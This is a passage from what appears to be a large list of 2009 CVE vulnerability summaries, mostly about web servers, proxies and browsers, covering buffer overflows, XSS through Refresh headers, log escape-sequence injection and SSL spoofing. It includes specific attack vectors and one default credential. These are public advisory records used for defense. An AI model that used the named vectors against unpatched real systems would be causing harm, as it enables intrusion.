19397| [CVE-2009-4775] Format string vulnerability in Ipswitch WS_FTP Professional 12 before 12.2 allows remote attackers to cause a denial of service (crash) via format string specifiers in the status code portion of an HTTP response.
19398| [CVE-2009-4770] The FTP server component in httpdx 1.4, 1.4.5, 1.4.6, 1.4.6b, and 1.5 has a default password of pass123 for the moderator account, which makes it easier for remote attackers to obtain privileged access.
19399| [CVE-2009-4769] Multiple format string vulnerabilities in the tolog function in httpdx 1.4, 1.4.5, 1.4.6, 1.4.6b, and 1.5 allow (1) remote attackers to execute arbitrary code via format string specifiers in a GET request to the HTTP server component when logging is enabled, and allow (2) remote authenticated users to execute arbitrary code via format string specifiers in a PWD command to the FTP server component.
19400| [CVE-2009-4654] Stack-based buffer overflow in the dhost module in Novell eDirectory 8.8 SP5 for Windows allows remote authenticated users to execute arbitrary code via long sadminpwd and verifypwd parameters in a submit action to /dhost/httpstk.
19401| [CVE-2009-4611] Mort Bay Jetty 6.x and 7.0.0 writes backtrace data without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator, related to (1) a string value in the Age parameter to the default URI for the Cookie Dump Servlet in test-jetty-webapp/src/main/java/com/acme/CookieDump.java under cookie/, (2) an alphabetic value in the A parameter to jsp/expr.jsp, or (3) an alphabetic value in the Content-Length HTTP header to an arbitrary application.
19402| [CVE-2009-4531] httpdx 1.4.4 and earlier allows remote attackers to obtain the source code for a web page by appending a . (dot) character to the URI.
19403| [CVE-2009-4509] The administrative web console on the TANDBERG Video Communication Server (VCS) before X4.3 uses predictable session cookies in (1) tandberg/web/lib/secure.php and (2) tandberg/web/user/lib/secure.php, which makes it easier for remote attackers to bypass authentication, and execute arbitrary code by loading a custom software update, via a crafted "Cookie: tandberg_login=" HTTP header.
19404| [CVE-2009-4496] Boa 0.94.14rc21 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
19405| [CVE-2009-4495] Yaws 1.85 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
19406| [CVE-2009-4494] AOLserver 4.5.1 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
19407| [CVE-2009-4493] Orion Application Server 2.0.7 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
19408| [CVE-2009-4492] WEBrick 1.3.1 in Ruby 1.8.6 through patchlevel 383, 1.8.7 through patchlevel 248, 1.8.8dev, 1.9.1 through patchlevel 376, and 1.9.2dev writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
19409| [CVE-2009-4491] thttpd 2.25b0 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
19410| [CVE-2009-4490] mini_httpd 1.19 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
19411| [CVE-2009-4489] header.c in Cherokee before 0.99.32 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
19412| [CVE-2009-4487] nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
19413| [CVE-2009-4413] The httpClientDiscardBody function in client.c in Polipo 0.9.8, 0.9.12, 1.0.4, and possibly other versions, allows remote attackers to cause a denial of service (crash) via a request with a large Content-Length value, which triggers an integer overflow, a signed-to-unsigned conversion error with a negative value, and a segmentation fault.
19414| [CVE-2009-4355] Memory leak in the zlib_stateful_finish function in crypto/comp/c_zlib.c in OpenSSL 0.9.8l and earlier and 1.0.0 Beta through Beta 4 allows remote attackers to cause a denial of service (memory consumption) via vectors that trigger incorrect calls to the CRYPTO_cleanup_all_ex_data function, as demonstrated by use of SSLv3 and PHP with the Apache HTTP Server, a related issue to CVE-2008-1678.
19415| [CVE-2009-4302] login/index_form.html in Moodle 1.8 before 1.8.11 and 1.9 before 1.9.7 links to an index page on the HTTP port even when the page is served from an HTTPS port, which might cause login credentials to be sent in cleartext, even when SSL is intended, and allows remote attackers to obtain these credentials by sniffing.
19416| [CVE-2009-4261] Multiple directory traversal vulnerabilities in the iallocator framework in Ganeti 1.2.4 through 1.2.8, 2.0.0 through 2.0.4, and 2.1.0 before 2.1.0~rc2 allow (1) remote attackers to execute arbitrary programs via a crafted external script name supplied through the HTTP remote API (RAPI) and allow (2) local users to execute arbitrary programs and gain privileges via a crafted external script name supplied through a gnt-* command, related to "path sanitization errors."
19417| [CVE-2009-4243] RealNetworks RealPlayer 10, RealPlayer 10.5 6.0.12.1040 through 6.0.12.1741, RealPlayer 11 11.0.0 through 11.0.4, RealPlayer Enterprise, Mac RealPlayer 10 and 10.1, Linux RealPlayer 10, and Helix Player 10.x allow remote attackers to have an unspecified impact via a crafted media file that uses HTTP chunked transfer coding, related to an "overflow."
19418| [CVE-2009-4203] Multiple SQL injection vulnerabilities in admin/aclass/admin_func.php in Arab Portal 2.2 allow remote attackers to execute arbitrary SQL commands via the (1) X-Forwarded-For or (2) Client-IP HTTP header in a request to the default URI under admin/.
19419| [CVE-2009-4180] Stack-based buffer overflow in snmpviewer.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary code via a long HTTP Host header.
19420| [CVE-2009-4179] Stack-based buffer overflow in ovalarm.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary code via a long HTTP Accept-Language header in an OVABverbose action.
19421| [CVE-2009-4177] Buffer overflow in webappmon.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary code via a long HTTP Host header.
19422| [CVE-2009-4151] Session fixation vulnerability in html/Elements/SetupSessionCookie in Best Practical Solutions RT 3.0.0 through 3.6.9 and 3.8.x through 3.8.5 allows remote attackers to hijack web sessions by setting the session identifier via a manipulation that leverages "HTTP access to the RT server," a related issue to CVE-2009-3585.
19423| [CVE-2009-4140] Unrestricted file upload vulnerability in ofc_upload_image.php in Open Flash Chart v2 Beta 1 through v2 Lug Wyrm Charmer, as used in Piwik 0.2.35 through 0.4.3, Woopra Analytics Plugin before 1.4.3.2, and possibly other products, when register_globals is enabled, allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension through the name parameter with the code in the HTTP_RAW_POST_DATA parameter, then accessing it via a direct request to the file in tmp-upload-images/.
19424| [CVE-2009-4086] CRLF injection vulnerability in Xerver HTTP Server 4.31 and 4.32 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via certain byte sequences at the end of a URL. NOTE: some of these details are obtained from third party information.
19425| [CVE-2009-3984] Mozilla Firefox before 3.0.16 and 3.5.x before 3.5.6, and SeaMonkey before 2.0.1, allows remote attackers to spoof an SSL indicator for an http URL or a file URL by setting document.location to an https URL corresponding to a site that responds with a No Content (aka 204) status code and an empty body.
19426| [CVE-2009-3923] The VirtualBox 2.0.8 and 2.0.10 web service in Sun Virtual Desktop Infrastructure (VDI) 3.0 does not require authentication, which allows remote attackers to obtain unspecified access via vectors involving requests to an Apache HTTP Server.
19427| [CVE-2009-3904] classes/session/cc_admin_session.php in CubeCart 4.3.4 does not properly restrict administrative access permissions, which allows remote attackers to bypass restrictions and gain administrative access via a HTTP request that contains an empty (1) sessID (ccAdmin cookie), (2) X_CLUSTER_CLIENT_IP header, or (3) User-Agent header.
19428| [CVE-2009-3898] Directory traversal vulnerability in src/http/modules/ngx_http_dav_module.c in nginx (aka Engine X) before 0.7.63, and 0.8.x before 0.8.17, allows remote authenticated users to create or overwrite arbitrary files via a .. (dot dot) in the Destination HTTP header for the WebDAV (1) COPY or (2) MOVE method.
19429| [CVE-2009-3896] src/http/ngx_http_parse.c in nginx (aka Engine X) 0.1.0 through 0.4.14, 0.5.x before 0.5.38, 0.6.x before 0.6.39, 0.7.x before 0.7.62, and 0.8.x before 0.8.14 allows remote attackers to cause a denial of service (NULL pointer dereference and worker process crash) via a long URI.
19430| [CVE-2009-3890] Unrestricted file upload vulnerability in the wp_check_filetype function in wp-includes/functions.php in WordPress before 2.8.6, when a certain configuration of the mod_mime module in the Apache HTTP Server is enabled, allows remote authenticated users to execute arbitrary code by posting an attachment with a multiple-extension filename, and then accessing this attachment via a direct request to a wp-content/uploads/ pathname, as demonstrated by a .php.jpg filename.
19431| [CVE-2009-3877] Unspecified vulnerability in Sun Java SE in JDK and JRE 5.0 before Update 22, JDK and JRE 6 before Update 17, SDK and JRE 1.3.x before 1.3.1_27, and SDK and JRE 1.4.x before 1.4.2_24 allows remote attackers to cause a denial of service (memory consumption) via crafted HTTP headers, which are not properly parsed by the ASN.1 DER input stream parser, aka Bug Id 6864911.
19432| [CVE-2009-3845] The port-3443 HTTP server in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary commands via shell metacharacters in the hostname parameter to unspecified Perl scripts.
19433| [CVE-2009-3749] The Web Administrator service (STEMWADM.EXE) in Websense Personal Email Manager 7.1 before Hotfix 4 and Email Security 7.1 before Hotfix 4 allows remote attackers to cause a denial of service (crash) by sending a HTTP GET request to TCP port 8181 and closing the socket before the service can send a response.
19434| [CVE-2009-3711] Stack-based buffer overflow in the h_handlepeer function in http.cpp in httpdx 1.4, and possibly 1.4.3, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request.
19435| [CVE-2009-3693] Directory traversal vulnerability in the Persits.XUpload.2 ActiveX control (XUpload.ocx) in HP LoadRunner 9.5 allows remote attackers to create arbitrary files via \.. (backwards slash dot dot) sequences in the third argument to the MakeHttpRequest method.
19436| [CVE-2009-3663] Format string vulnerability in the h_readrequest function in http.c in httpdx Web Server 1.4 allows remote attackers to cause a denial of service (crash) or execute arbitrary code via format string specifiers in the Host header.
19437| [CVE-2009-3652] Cross-site scripting (XSS) vulnerability in Organic Groups (OG) 5.x-7.x before 5.x-7.4, 5.x-8.x before 5.x-8.1, and 6.x-1.x before 6.x-1.4, a module for Drupal, allows remote authenticated users, with create or edit group nodes permissions, to inject arbitrary web script or HTML via the User-Agent HTTP header, a different issue than CVE-2008-3095.
19438| [CVE-2009-3651] Cross-site scripting (XSS) vulnerability in the "Monitor browsers' feature in Browscap before 5.x-1.1 and 6.x-1.1, a module for Drupal, allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
19439| [CVE-2009-3646] InterVations NaviCOPA Web Server 3.01 allows remote attackers to obtain the source code for a web page via an HTTP request with the addition of ::$DATA after the HTML file name.
19440| [CVE-2009-3586] Off-by-one error in src/http.c in CoreHTTP 0.5.3.1 and earlier allows remote attackers to cause a denial of service or possibly execute arbitrary code via an HTTP request with a long first line that triggers a buffer overflow. NOTE: this vulnerability reportedly exists because of an incorrect fix for CVE-2007-4060.
19441| [CVE-2009-3584] SQL-Ledger 2.8.24 does not set the secure flag for the session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
19442| [CVE-2009-3566] McAfee IntruShield Network Security Manager (NSM) before 5.1.11.8.1 does not include the HTTPOnly flag in the Set-Cookie header for the session identifier, which allows remote attackers to hijack a session by leveraging a cross-site scripting (XSS) vulnerability.
19443| [CVE-2009-3562] Cross-site scripting (XSS) vulnerability in Xerver HTTP Server 4.32 allows remote attackers to inject arbitrary web script or HTML via the currentPath parameter in a chooseDirectory action.
19444| [CVE-2009-3561] Directory traversal vulnerability in Xerver HTTP Server 4.32 allows remote attackers to read arbitrary files via a full pathname with a drive letter in the currentPath parameter in a chooseDirectory action.
19445| [CVE-2009-3555] The TLS protocol, and the SSL protocol 3.0 and possibly earlier, as used in Microsoft Internet Information Services (IIS) 7.0, mod_ssl in the Apache HTTP Server 2.2.14 and earlier, OpenSSL before 0.9.8l, GnuTLS 2.8.5 and earlier, Mozilla Network Security Services (NSS) 3.12.4 and earlier, multiple Cisco products, and other products, does not properly associate renegotiation handshakes with an existing connection, which allows man-in-the-middle attackers to insert data into HTTPS sessions, and possibly other types of sessions protected by TLS or SSL, by sending an unauthenticated request that is processed retroactively by a server in a post-renegotiation context, related to a "plaintext injection" attack, aka the "Project Mogul" issue.
19446| [CVE-2009-3544] Xerver HTTP Server 4.32 allows remote attackers to obtain the source code for a web page via an HTTP request with the addition of ::$DATA after the HTML file name.
19447| [CVE-2009-3457] Cisco ACE XML Gateway (AXG) and ACE Web Application Firewall (WAF) before 6.1 allow remote attackers to obtain sensitive information via an HTTP request that lacks a handler, as demonstrated by (1) an OPTIONS request or (2) a crafted GET request, leading to a Message-handling Errors message containing a certain client intranet IP address, aka Bug ID CSCtb82159.
19448| [CVE-2009-3444] Cross-site scripting (XSS) vulnerability in email.php in e107 0.7.16 and earlier allows remote attackers to inject arbitrary web script or HTML via the HTTP Referer header in a news.1 (aka news to email) action.
19449| [CVE-2009-3321] SQL injection vulnerability in SaphpLesson 4.3, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the CLIENT_IP HTTP header.
19450| [CVE-2009-3305] Polipo 1.0.4, and possibly other versions, allows remote attackers to cause a denial of service (crash) via a request with a Cache-Control header that lacks a value for the max-age field, which triggers a segmentation fault in the httpParseHeaders function in http_parse.c, and possibly other unspecified vectors.
19451| [CVE-2009-3250] The saveForwardAttachments procedure in the Compose Mail functionality in vtiger CRM 5.0.4 allows remote authenticated users to execute arbitrary code by composing an e-mail message with an attachment filename ending in (1) .php in installations based on certain Apache HTTP Server configurations, (2) .php. on Windows, or (3) .php/ on Linux, and then making a direct request to a certain pathname under storage/.
19452| [CVE-2009-3106] The Servlet Engine/Web Container component in IBM WebSphere Application Server (WAS) 6.0.2 before 6.0.2.37 does not properly implement security constraints on the (1) doGet and (2) doTrace methods, which allows remote attackers to bypass intended access restrictions and obtain sensitive information via a crafted HTTP HEAD request to a Web Application.
19453| [CVE-2009-3095] The mod_proxy_ftp module in the Apache HTTP Server allows remote attackers to bypass intended access restrictions and send arbitrary commands to an FTP server via vectors related to the embedding of these commands in the Authorization HTTP header, as demonstrated by a certain module in VulnDisco Pack Professional 8.11.
19454| [CVE-2009-3094] The ap_proxy_ftp_handler function in modules/proxy/proxy_ftp.c in the mod_proxy_ftp module in the Apache HTTP Server 2.0.63 and 2.2.13 allows remote FTP servers to cause a denial of service (NULL pointer dereference and child process crash) via a malformed reply to an EPSV command.
19455| [CVE-2009-3018] Maxthon Browser 3.0.0.145 Alpha with Ultramode does not properly block javascript: and data: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header that contains a javascript: URI, (2) entering a javascript: URI when specifying the content of a Refresh header, (3) injecting a Refresh header that contains JavaScript sequences in a data:text/html URI, or (4) entering a data:text/html URI with JavaScript sequences when specifying the content of a Refresh header
19456| [CVE-2009-3017] Orca Browser 1.2 build 5 does not properly block data: URIs in Refresh and Location headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header that contains JavaScript sequences in a data:text/html URI, (2) entering a data:text/html URI with JavaScript sequences when specifying the content of a Refresh header, (3) injecting a Location header that contains JavaScript sequences in a data:text/html URI, or (4) entering a data:text/html URI with JavaScript sequences when specifying the content of a Location header
19457| [CVE-2009-3016] Apple Safari 4.0.3 does not properly block javascript: and data: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header that contains a javascript: URI, (2) entering a javascript: URI when specifying the content of a Refresh header, (3) injecting a Refresh header that contains JavaScript sequences in a data:text/html URI, or (4) entering a data:text/html URI with JavaScript sequences when specifying the content of a Refresh header.
19458| [CVE-2009-3015] QtWeb 3.0 Builds 001 and 003 does not properly block javascript: and data: URIs in Refresh and Location headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header that contains a javascript: URI, (2) entering a javascript: URI when specifying the content of a Refresh header, (3) injecting a Refresh header that contains JavaScript sequences in a data:text/html URI, (4) entering a data:text/html URI with JavaScript sequences when specifying the content of a Refresh header, (5) injecting a Location header that contains JavaScript sequences in a data:text/html URI, or (6) entering a data:text/html URI with JavaScript sequences when specifying the content of a Location header.
19459| [CVE-2009-3013] Opera 9.52 and earlier, and 10.00 Beta 3 Build 1699, does not properly block data: URIs in Location headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Location header that contains JavaScript sequences in a data:text/html URI or (2) entering a data:text/html URI with JavaScript sequences when specifying the content of a Location header. NOTE: the JavaScript executes outside of the context of the HTTP site.
19460| [CVE-2009-3012] Mozilla Firefox 3.0.13 and earlier, 3.5, 3.6 a1 pre, and 3.7 a1 pre does not properly block data: URIs in Location headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Location header that contains JavaScript sequences in a data:text/html URI or (2) entering a data:text/html URI with JavaScript sequences when specifying the content of a Location header. NOTE: the JavaScript executes outside of the context of the HTTP site.
19461| [CVE-2009-3011] Google Chrome 1.0.154.48 and earlier, 2.0.172.28, 2.0.172.37, and 3.0.193.2 Beta does not properly block data: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header that contains JavaScript sequences in a data:text/html URI or (2) entering a data:text/html URI with JavaScript sequences when specifying the content of a Refresh header. NOTE: the JavaScript executes outside of the context of the HTTP site.
19462| [CVE-2009-2973] Google Chrome before 2.0.172.43 does not prevent SSL connections to a site with an X.509 certificate signed with the (1) MD2 or (2) MD4 algorithm, which makes it easier for man-in-the-middle attackers to spoof arbitrary HTTPS servers via a crafted certificate, a related issue to CVE-2009-2409.
19463| [CVE-2009-2966] avp.exe in Kaspersky Internet Security 9.0.0.459 and Anti-Virus 9.0.0.463 allows remote attackers to cause a denial of service (CPU consumption and network connectivity loss) via an HTTP URL request that contains a large number of dot "." characters.
19464| [CVE-2009-2936] ** DISPUTED ** The Command Line Interface (aka Server CLI or administration interface) in the master process in the reverse proxy server in Varnish before 2.1.0 does not require authentication for commands received through a TCP port, which allows remote attackers to (1) execute arbitrary code via a vcl.inline directive that provides a VCL configuration file containing inline C code
19465| [CVE-2009-2901] The autodeployment process in Apache Tomcat 5.5.0 through 5.5.28 and 6.0.0 through 6.0.20, when autoDeploy is enabled, deploys appBase files that remain from a failed undeploy, which might allow remote attackers to bypass intended authentication requirements via HTTP requests.
19466| [CVE-2009-2865] Buffer overflow in the login implementation in the Extension Mobility feature in the Unified Communications Manager Express (CME) component in Cisco IOS 12.4XW, 12.4XY, 12.4XZ, and 12.4YA allows remote attackers to execute arbitrary code or cause a denial of service via crafted HTTP requests, aka Bug ID CSCsq58779.
19467| [CVE-2009-2855] The strListGetItem function in src/HttpHeaderTools.c in Squid 2.7 allows remote attackers to cause a denial of service via a crafted auth header with certain comma delimiters that trigger an infinite loop of calls to the strcspn function.
19468| [CVE-2009-2823] The Apache HTTP Server in Apple Mac OS X before 10.6.2 enables the HTTP TRACE method, which allows remote attackers to conduct cross-site scripting (XSS) attacks via unspecified web client software.
19469| [CVE-2009-2820] The web interface in CUPS before 1.4.2, as used on Apple Mac OS X before 10.6.2 and other platforms, does not properly handle (1) HTTP headers and (2) HTML templates, which allows remote attackers to conduct cross-site scripting (XSS) attacks and HTTP response splitting attacks via vectors related to (a) the product's web interface, (b) the configuration of the print system, and (c) the titles of printed jobs, as demonstrated by an XSS attack that uses the kerberos parameter to the admin program, and leverages attribute injection and HTTP Parameter Pollution (HPP) issues.
19470| [CVE-2009-2816] The implementation of Cross-Origin Resource Sharing (CORS) in WebKit, as used in Apple Safari before 4.0.4 and Google Chrome before 3.0.195.33, includes certain custom HTTP headers in the OPTIONS request during cross-origin operations with preflight, which makes it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks via a crafted web page.
19471| [CVE-2009-2808] Help Viewer in Apple Mac OS X before 10.6.2 does not use an HTTPS connection to retrieve Apple Help content from a web site, which allows man-in-the-middle attackers to send a crafted help:runscript link, and thereby execute arbitrary code, via a spoofed response.
19472| [CVE-2009-2766] httpd.c in httpd in the management GUI in DD-WRT 24 sp1 does not require administrative authentication for programs under cgi-bin/, which allows remote attackers to change settings via HTTP requests.
19473| [CVE-2009-2765] httpd.c in httpd in the management GUI in DD-WRT 24 sp1, and other versions before build 12533, allows remote attackers to execute arbitrary commands via shell metacharacters in a request to a cgi-bin/ URI.
19474| [CVE-2009-2732] The checkHTTPpassword function in http.c in ntop 3.3.10 and earlier allows remote attackers to cause a denial of service (NULL pointer dereference and daemon crash) via an Authorization HTTP header that lacks a : (colon) character in the base64-decoded string.
19475| [CVE-2009-2699] The Solaris pollset feature in the Event Port backend in poll/unix/port.c in the Apache Portable Runtime (APR) library before 1.3.9, as used in the Apache HTTP Server before 2.2.14 and other products, does not properly handle errors, which allows remote attackers to cause a denial of service (daemon hang) via unspecified HTTP requests, related to the prefork and event MPMs.
19476| [CVE-2009-2665] The nsDocument::SetScriptGlobalObject function in content/base/src/nsDocument.cpp in Mozilla Firefox 3.5.x before 3.5.2, when certain add-ons are enabled, does not properly handle a Link HTTP header, which allows remote attackers to execute arbitrary JavaScript with chrome privileges via a crafted web page, related to an incorrect security wrapper.
19477| [CVE-2009-2659] The Admin media handler in core/servers/basehttp.py in Django 1.0 and 0.96 does not properly map URL requests to expected "static media files," which allows remote attackers to conduct directory traversal attacks and read arbitrary files via a crafted URL.
19478| [CVE-2009-2629] Buffer underflow in src/http/ngx_http_parse.c in nginx 0.1.0 through 0.5.37, 0.6.x before 0.6.39, 0.7.x before 0.7.62, and 0.8.x before 0.8.15 allows remote attackers to execute arbitrary code via crafted HTTP requests.
19479| [CVE-2009-2622] Squid 3.0 through 3.0.STABLE16 and 3.1 through 3.1.0.11 allows remote attackers to cause a denial of service via malformed requests including (1) "missing or mismatched protocol identifier," (2) missing or negative status value," (3) "missing version," or (4) "missing or invalid status number," related to (a) HttpMsg.cc and (b) HttpReply.cc.
19480| [CVE-2009-2621] Squid 3.0 through 3.0.STABLE16 and 3.1 through 3.1.0.11 does not properly enforce "buffer limits and related bound checks," which allows remote attackers to cause a denial of service via (1) an incomplete request or (2) a request with a large header size, related to (a) HttpMsg.cc and (b) client_side.cc.
19481| [CVE-2009-2582] Stack-based buffer overflow in manager.exe in Akamai Download Manager (aka DLM or dlmanager) before 2.2.4.8 allows remote web servers to execute arbitrary code via a malformed HTTP response during a Redswoosh download, a different vulnerability than CVE-2007-1891 and CVE-2007-1892.
19482| [CVE-2009-2509] Active Directory Federation Services (ADFS) in Microsoft Windows Server 2003 SP2 and Server 2008 Gold and SP2 does not properly validate headers in HTTP requests, which allows remote authenticated users to execute arbitrary code via a crafted request to an IIS web server, aka "Remote Code Execution in ADFS Vulnerability."
19483| [CVE-2009-2422] The example code for the digest authentication functionality (http_authentication.rb) in Ruby on Rails before 2.3.3 defines an authenticate_or_request_with_http_digest block that returns nil instead of false when the user does not exist, which allows context-dependent attackers to bypass authentication for applications that are derived from this example by sending an invalid username without a password.
19484| [CVE-2009-2374] Drupal 5.x before 5.19 and 6.x before 6.13 does not properly sanitize failed login attempts for pages that contain a sortable table, which includes the username and password in links that can be read from (1) the HTTP referer header of external web sites that are visited from those links or (2) when page caching is enabled, the Drupal page cache.
19485| [CVE-2009-2353] encoder.php in eAccelerator allows remote attackers to execute arbitrary code by copying a local executable file to a location under the web root via the -o option, and then making a direct request to this file, related to upload of image files.
19486| [CVE-2009-2352] Google Chrome 1.0.154.48 and earlier does not block javascript: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header or (2) specifying the content of a Refresh header, a related issue to CVE-2009-1312. NOTE: it was later reported that 2.0.172.28, 2.0.172.37, and 3.0.193.2 Beta are also affected.
19487| [CVE-2009-2351] Opera 9.52 and earlier does not block javascript: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header or (2) specifying the content of a Refresh header, a related issue to CVE-2009-1312. NOTE: it was later reported that 10.00 Beta 3 Build 1699 is also affected.
19488| [CVE-2009-2350] Microsoft Internet Explorer 6.0.2900.2180 and earlier does not block javascript: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header or (2) specifying the content of a Refresh header, a related issue to CVE-2009-1312.
19489| [CVE-2009-2299] The Artofdefence Hyperguard Web Application Firewall (WAF) module before 2.5.5-11635, 3.0 before 3.0.3-11636, and 3.1 before 3.1.1-11637, a module for the Apache HTTP Server, allows remote attackers to cause a denial of service (memory consumption) via an HTTP request with a large Content-Length value but no POST data.
19490| [CVE-2009-2281] Multiple heap-based buffer underflows in the readPostBody function in cgiutil.c in mapserv in MapServer 4.x through 4.10.4 and 5.x before 5.4.2 allow remote attackers to execute arbitrary code via (1) a crafted Content-Length HTTP header or (2) a large HTTP request, related to an integer overflow that triggers a heap-based buffer overflow. NOTE: this issue reportedly exists because of an incomplete fix for CVE-2009-0840.
19491| [CVE-2009-2272] The Huawei D100 stores the administrator's account name and password in cleartext in a cookie, which allows context-dependent attackers to obtain sensitive information by (1) reading a cookie file, by (2) sniffing the network for HTTP headers, and possibly by using unspecified other vectors.
19492| [CVE-2009-2256] The administrative web interface on the Netgear DG632 with firmware 3.4.0_ap allows remote attackers to cause a denial of service (web outage) via an HTTP POST request to cgi-bin/firmwarecfg.
19493| [CVE-2009-2173] The LAN game feature in Carom3D 5.06 allows remote authenticated users to cause a denial of service (application hang) via a crafted HTTP request to TCP port 28012.
19494| [CVE-2009-2121] Buffer overflow in the browser kernel in Google Chrome before 2.0.172.33 allows remote HTTP servers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted response.
19495| [CVE-2009-2072] Apple Safari does not require a cached certificate before displaying a lock icon for an https web site, which allows man-in-the-middle attackers to spoof an arbitrary https site by sending the browser a crafted (1) 4xx or (2) 5xx CONNECT response page for an https request sent through a proxy server.
19496| [CVE-2009-2071] Google Chrome before 1.0.154.53 displays a cached certificate for a (1) 4xx or (2) 5xx CONNECT response page returned by a proxy server, which allows man-in-the-middle attackers to spoof an arbitrary https site by letting a browser obtain a valid certificate from this site during one request, and then sending the browser a crafted 502 response page upon a subsequent request.
19497| [CVE-2009-2070] Opera displays a cached certificate for a (1) 4xx or (2) 5xx CONNECT response page returned by a proxy server, which allows man-in-the-middle attackers to spoof an arbitrary https site by letting a browser obtain a valid certificate from this site during one request, and then sending the browser a crafted 502 response page upon a subsequent request.
19498| [CVE-2009-2069] Microsoft Internet Explorer before 8 displays a cached certificate for a (1) 4xx or (2) 5xx CONNECT response page returned by a proxy server, which allows man-in-the-middle attackers to spoof an arbitrary https site by letting a browser obtain a valid certificate from this site during one request, and then sending the browser a crafted 502 response page upon a subsequent request.
19499| [CVE-2009-2068] Google Chrome detects http content in https web pages only when the top-level frame uses https, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying an http page to include an https iframe that references a script file on an http site, related to "HTTP-Intended-but-HTTPS-Loadable (HPIHSL) pages."
19500| [CVE-2009-2067] Opera detects http content in https web pages only when the top-level frame uses https, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying an http page to include an https iframe that references a script file on an http site, related to "HTTP-Intended-but-HTTPS-Loadable (HPIHSL) pages."
19501| [CVE-2009-2066] Apple Safari detects http content in https web pages only when the top-level frame uses https, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying an http page to include an https iframe that references a script file on an http site, related to "HTTP-Intended-but-HTTPS-Loadable (HPIHSL) pages."
19502| [CVE-2009-2065] Mozilla Firefox 3.0.10, and possibly other versions, detects http content in https web pages only when the top-level frame uses https, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying an http page to include an https iframe that references a script file on an http site, related to "HTTP-Intended-but-HTTPS-Loadable (HPIHSL) pages."
19503| [CVE-2009-2064] Microsoft Internet Explorer 8, and possibly other versions, detects http content in https web pages only when the top-level frame uses https, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying an http page to include an https iframe that references a script file on an http site, related to "HTTP-Intended-but-HTTPS-Loadable (HPIHSL) pages."
19504| [CVE-2009-2063] Opera, possibly before 9.25, processes a 3xx HTTP CONNECT response before a successful SSL handshake, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying this CONNECT response to specify a 302 redirect to an arbitrary https web site.
19505| [CVE-2009-2062] Apple Safari before 3.2.2 processes a 3xx HTTP CONNECT response before a successful SSL handshake, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying this CONNECT response to specify a 302 redirect to an arbitrary https web site.
19506| [CVE-2009-2061] Mozilla Firefox before 3.0.10 processes a 3xx HTTP CONNECT response before a successful SSL handshake, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying this CONNECT response to specify a 302 redirect to an arbitrary https web site.
